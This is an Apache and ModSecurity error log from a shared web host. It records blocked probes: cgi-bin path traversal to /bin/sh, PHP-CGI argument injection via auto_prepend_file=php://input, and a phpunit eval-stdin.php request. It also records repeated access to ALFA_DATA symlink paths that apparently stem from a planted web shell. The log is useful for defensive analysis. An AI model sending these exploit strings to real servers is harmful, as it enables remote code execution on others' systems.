[Sun Oct 25 12:24:26.444465 2026] [ssl:error] [pid 2862865:tid 2862865] (70014)End of file found: [client 34.203.111.15:26737] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:24:30.371151 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 44.223.193.255:40072] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:24:46.211497 2026] [ssl:error] [pid 2862816:tid 2862816] (70014)End of file found: [client 54.243.63.52:32858] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:24:48.588294 2026] [authz_core:error] [pid 2862820:tid 2862820] [client 66.249.66.38:56285] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Sun Oct 25 12:24:54.251963 2026] [ssl:error] [pid 2862865:tid 2862865] (70014)End of file found: [client 184.73.47.24:54333] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:25:14.251608 2026] [ssl:error] [pid 2862816:tid 2862816] (70014)End of file found: [client 3.213.85.234:64082] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:25:46.213846 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 18.214.238.178:29582] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:25:50.307857 2026] [ssl:error] [pid 2862820:tid 2862820] (70014)End of file found: [client 54.83.23.103:58703] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:25:58.896149 2026] [ssl:error] [pid 2862871:tid 2862871] (70014)End of file found: [client 23.21.228.180:19978] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:26:02.191847 2026] [core:error] [pid 2862845:tid 2862845] (13)Permission denied: [client 44.221.227.90:14821] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/device:06/physical_node/driver/0000:00:04.0/remove
[Sun Oct 25 12:26:06.178452 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 52.200.58.199:20209] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:26:10.197529 2026] [ssl:error] [pid 2862816:tid 2862816] (70014)End of file found: [client 52.200.58.199:25419] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:26:22.204819 2026] [ssl:error] [pid 2862875:tid 2862875] (70014)End of file found: [client 50.19.221.48:51882] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:26:26.274637 2026] [ssl:error] [pid 2862871:tid 2862871] (70014)End of file found: [client 34.231.181.240:18626] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:26:30.179536 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 18.214.138.148:26828] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:26:32.286778 2026] [core:error] [pid 2862845:tid 2862845] (13)Permission denied: [client 185.191.171.8:19470] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/object_size
[Sun Oct 25 12:26:34.302616 2026] [ssl:error] [pid 2862806:tid 2862806] (70014)End of file found: [client 34.227.156.153:64972] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:26:50.331129 2026] [ssl:error] [pid 2862871:tid 2862871] (70014)End of file found: [client 3.215.221.125:15886] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:26:58.242584 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 18.232.11.247:19493] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:27:06.201241 2026] [ssl:error] [pid 2862816:tid 2862816] (5)Input/output error: [client 54.157.99.244:50879] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:27:10.176965 2026] [ssl:error] [pid 2862865:tid 2862865] (70014)End of file found: [client 34.231.77.232:60975] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:27:14.334288 2026] [ssl:error] [pid 2862820:tid 2862820] (70014)End of file found: [client 184.73.35.182:16438] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:27:26.363990 2026] [core:error] [pid 2862845:tid 2862845] (13)Permission denied: [client 3.89.176.255:22124] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory5/node0/compact
[Sun Oct 25 12:27:30.194791 2026] [security2:error] [pid 2862806:tid 2862806] [client 3.235.215.92:46974] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0A03:00/device:0b/subsystem/devices/LNXCPU:01/physical_node/driver/cpu1/topology/"] [unique_id "at4t8hKqFxYAd_HiRLelRwAAABQ"]
[Sun Oct 25 12:27:30.194851 2026] [security2:error] [pid 2862806:tid 2862806] [client 3.235.215.92:46974] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0A03:00/device:0b/subsystem/devices/LNXCPU:01/physical_node/driver/cpu1/topology/"] [unique_id "at4t8hKqFxYAd_HiRLelRwAAABQ"]
[Sun Oct 25 12:27:38.209310 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 52.54.15.103:10925] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:27:41.285898 2026] [core:error] [pid 2862865:tid 2862865] (13)Permission denied: [client 85.208.96.196:53376] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/align
[Sun Oct 25 12:27:50.199658 2026] [ssl:error] [pid 2862871:tid 2862871] (70014)End of file found: [client 54.85.7.119:29184] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:27:54.198316 2026] [ssl:error] [pid 2858941:tid 2858941] (70014)End of file found: [client 3.223.181.32:56147] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:28:02.190126 2026] [ssl:error] [pid 2862806:tid 2862806] (70014)End of file found: [client 23.21.204.95:58169] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:28:14.552685 2026] [core:error] [pid 2862845:tid 2862845] (13)Permission denied: [client 85.208.96.200:48078] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/posix_timers_cache/cache_dma
[Sun Oct 25 12:28:18.197932 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 184.73.47.24:45732] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:28:26.193325 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 52.70.123.241:63580] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:28:30.299752 2026] [ssl:error] [pid 2862865:tid 2862865] (70014)End of file found: [client 54.147.182.90:27781] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:28:34.295672 2026] [ssl:error] [pid 2862820:tid 2862820] (70014)End of file found: [client 44.209.35.147:49161] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:28:42.288217 2026] [ssl:error] [pid 2862816:tid 2862816] (70014)End of file found: [client 34.231.181.240:52926] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:28:58.177913 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 98.83.178.66:52347] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:29:06.194634 2026] [core:error] [pid 2862816:tid 2862816] (13)Permission denied: [client 54.198.33.233:34868] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/device:03/physical_node/resource1
[Sun Oct 25 12:29:13.353587 2026] [core:crit] [pid 2862845:tid 2862845] (13)Permission denied: [client 66.132.195.85:14770] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 12:29:18.199908 2026] [security2:error] [pid 2862822:tid 2862822] [client 52.4.229.9:65284] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/device:00/"] [unique_id "at4uXssxP9Gbm0IYLGL8OAAAACI"]
[Sun Oct 25 12:29:18.199981 2026] [security2:error] [pid 2862822:tid 2862822] [client 52.4.229.9:65284] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/device:00/"] [unique_id "at4uXssxP9Gbm0IYLGL8OAAAACI"]
[Sun Oct 25 12:29:18.489116 2026] [core:crit] [pid 2862865:tid 2862865] (13)Permission denied: [client 66.132.195.85:62940] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 12:29:19.633593 2026] [core:error] [pid 2862820:tid 2862820] [client 169.58.148.208:42382] AH10244: invalid URI path (/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh)
[Sun Oct 25 12:29:20.561821 2026] [core:error] [pid 2862816:tid 2862816] [client 169.58.148.208:42388] AH10244: invalid URI path (/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh)
[Sun Oct 25 12:29:21.454422 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:\\\\xadd allow_url_include=1 \\\\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:\\x5c\\x5cxadd allow_url_include=1 \\x5c\\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/hello.world"] [unique_id "at4uYZhqgnbPQM86Wt8CBAAAAEc"]
[Sun Oct 25 12:29:21.454520 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/hello.world"] [unique_id "at4uYZhqgnbPQM86Wt8CBAAAAEc"]
[Sun Oct 25 12:29:21.455012 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/hello.world"] [unique_id "at4uYZhqgnbPQM86Wt8CBAAAAEc"]
[Sun Oct 25 12:29:21.455292 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/hello.world"] [unique_id "at4uYZhqgnbPQM86Wt8CBAAAAEc"]
[Sun Oct 25 12:29:21.764245 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:\\\\xadd allow_url_include=1 \\\\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:\\x5c\\x5cxadd allow_url_include=1 \\x5c\\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at4uYZhqgnbPQM86Wt8CBQAAAEc"]
[Sun Oct 25 12:29:21.764319 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at4uYZhqgnbPQM86Wt8CBQAAAEc"]
[Sun Oct 25 12:29:21.764783 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at4uYZhqgnbPQM86Wt8CBQAAAEc"]
[Sun Oct 25 12:29:21.765120 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at4uYZhqgnbPQM86Wt8CBQAAAEc"]
[Sun Oct 25 12:29:22.065401 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at4uYphqgnbPQM86Wt8CBgAAAEc"]
[Sun Oct 25 12:29:22.065497 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: %ADd allow_url_include=1 %ADd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at4uYphqgnbPQM86Wt8CBgAAAEc"]
[Sun Oct 25 12:29:22.066114 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at4uYphqgnbPQM86Wt8CBgAAAEc"]
[Sun Oct 25 12:29:22.066583 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at4uYphqgnbPQM86Wt8CBgAAAEc"]
[Sun Oct 25 12:29:22.456210 2026] [ssl:error] [pid 2862871:tid 2862871] (70014)End of file found: [client 100.25.120.246:53464] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 12:29:22.460390 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/test.hello"] [unique_id "at4uYphqgnbPQM86Wt8CBwAAAEc"]
[Sun Oct 25 12:29:22.460445 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: %ADd allow_url_include=1 %ADd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/test.hello"] [unique_id "at4uYphqgnbPQM86Wt8CBwAAAEc"]
[Sun Oct 25 12:29:22.460827 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/test.hello"] [unique_id "at4uYphqgnbPQM86Wt8CBwAAAEc"]
[Sun Oct 25 12:29:22.461052 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/test.hello"] [unique_id "at4uYphqgnbPQM86Wt8CBwAAAEc"]
[Sun Oct 25 12:29:22.841738 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input: -d allow_url_include=on -d auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at4uYphqgnbPQM86Wt8CCAAAAEc"]
[Sun Oct 25 12:29:22.841813 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:-d allow_url_include=on -d auto_prepend_file=php://input: -d allow_url_include=on -d auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at4uYphqgnbPQM86Wt8CCAAAAEc"]
[Sun Oct 25 12:29:22.842248 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at4uYphqgnbPQM86Wt8CCAAAAEc"]
[Sun Oct 25 12:29:22.842530 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at4uYphqgnbPQM86Wt8CCAAAAEc"]
[Sun Oct 25 12:29:23.126848 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at4uY5hqgnbPQM86Wt8CCQAAAEc"]
[Sun Oct 25 12:29:23.127336 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at4uY5hqgnbPQM86Wt8CCQAAAEc"]
[Sun Oct 25 12:29:23.127724 2026] [security2:error] [pid 2862875:tid 2862875] [client 169.58.148.208:42402] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at4uY5hqgnbPQM86Wt8CCQAAAEc"]
